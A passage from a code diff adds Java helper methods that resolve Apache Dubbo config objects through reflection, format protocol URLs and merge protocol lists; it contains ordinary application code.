+            return ((Optional<?>) obj).orElse(null);
+        }
+        return obj;
+    }
+
+    private Object firstElement(List<?> list) {
+        if (list.isEmpty()) {
+            return null;
+        }
+        return list.get(0);
+    }
+
+    private ProviderConfig castProviderConfig(Object obj) {
+        if (obj instanceof ProviderConfig) {
+            return (ProviderConfig) obj;
+        }
+        return null;
+    }
+
+    private ApplicationConfig castApplicationConfig(Object obj) {
+        if (obj instanceof ApplicationConfig) {
+            return (ApplicationConfig) obj;
+        }
+        return null;
+    }
+
+    private List<RegistryConfig> castRegistries(List<?> list) {
+        return list.stream()
+                .filter(RegistryConfig.class::isInstance)
+                .map(RegistryConfig.class::cast)
+                .collect(Collectors.toList());
+    }
+
+    private Object resolveConfigManager() {
+        Object objInvokeStaticNoArgs = invokeStaticNoArgs(ApplicationModel.class, "getConfigManager");
+        if (objInvokeStaticNoArgs != null) {
+            return objInvokeStaticNoArgs;
+        }
+        Object objInvokeStaticNoArgs2 = invokeStaticNoArgs(ApplicationModel.class, "defaultModel");
+        Object objInvokeNoArgs = invokeNoArgs(objInvokeStaticNoArgs2, "getDefaultModule");
+        return invokeNoArgs(objInvokeNoArgs, "getConfigManager");
+    }
+
+    private String formatUrls(List<?> list) {
+        return list.stream()
+                .map(this::formatUrl)
+                .collect(Collectors.joining(", "));
+    }
+
+    private String formatProtocolAddresses(List<?> list, String str) {
+        return list.stream()
+                .map(obj -> formatProtocolAddress(obj, str))
+                .collect(Collectors.joining(", "));
+    }
+
+    private String formatUrl(Object obj) {
+        String strStringValue = stringValue(invokeNoArgs(obj, "getProtocol"), "dubbo");
+        String strNormalizePath = normalizePath(stringValue(invokeNoArgs(obj, "getPath"), ""));
+        Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
+        return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, strNormalizePath) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, strNormalizePath);
+    }
+
+    private String formatProtocolAddress(Object obj, String str) {
+        String strStringValue = stringValue(invokeNoArgs(obj, "getName"), "dubbo");
+        Integer numIntegerValue = integerValue(invokeNoArgs(obj, "getPort"));
+        return (numIntegerValue == null || numIntegerValue.intValue() <= 0) ? String.format("%s://%s/%s", strStringValue, DISPLAY_HOST, str) : String.format("%s://%s:%d/%s", strStringValue, DISPLAY_HOST, numIntegerValue, str);
+    }
+
+    private String stringValue(Object obj, String str) {
+        return (!(obj instanceof String) || ((String) obj).isEmpty()) ? str : (String) obj;
+    }
+
+    private Integer integerValue(Object obj) {
+        if (obj instanceof Number) {
+            return Integer.valueOf(((Number) obj).intValue());
+        }
+        return null;
+    }
+
+    private List<ProtocolConfig> castProtocols(List<?> list) {
+        return list.stream()
+                .filter(ProtocolConfig.class::isInstance)
+                .map(ProtocolConfig.class::cast)
+                .collect(Collectors.toList());
+    }
+
+    private List<ProtocolConfig> mergeProtocols(Collection<ProtocolConfig> collection, Collection<ProtocolConfig> collection2) {
+        LinkedHashMap<String, ProtocolConfig> linkedHashMap = new LinkedHashMap<>();
+        addProtocols(linkedHashMap, collection);
+        addProtocols(linkedHashMap, collection2);
+        return new ArrayList<>(linkedHashMap.values());
+    }
+
+    private void addProtocols(Map<String, ProtocolConfig> map, Collection<ProtocolConfig> collection) {
+        if (collection == null) {
+            return;
+        }
+        for (ProtocolConfig protocolConfig : collection) {
+            if (protocolConfig != null) {
+                map.put(protocolKey(protocolConfig), protocolConfig);
+            }
+        }
+    }
+
+    private String protocolKey(ProtocolConfig protocolConfig) {
+        return String.valueOf(protocolConfig.getName()) + "|" + String.valueOf(protocolConfig.getHost()) + "|" + String.valueOf(protocolConfig.getPort()) + "|" + String.valueOf(protocolConfig.getServer()) + "|" + String.valueOf(protocolConfig.getId());
+    }
+
+    private String getErrorMessage(Throwable th) {
+        try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
+             PrintStream printStream = new PrintStream(byteArrayOutputStream)) {
+            th.printStackTrace(printStream);
+            return byteArrayOutputStream.toString();
+        } catch (IOException e) {
+            return String.valueOf(th);
+        }
+    }
+}
--- a/Show More
+++ b/Show More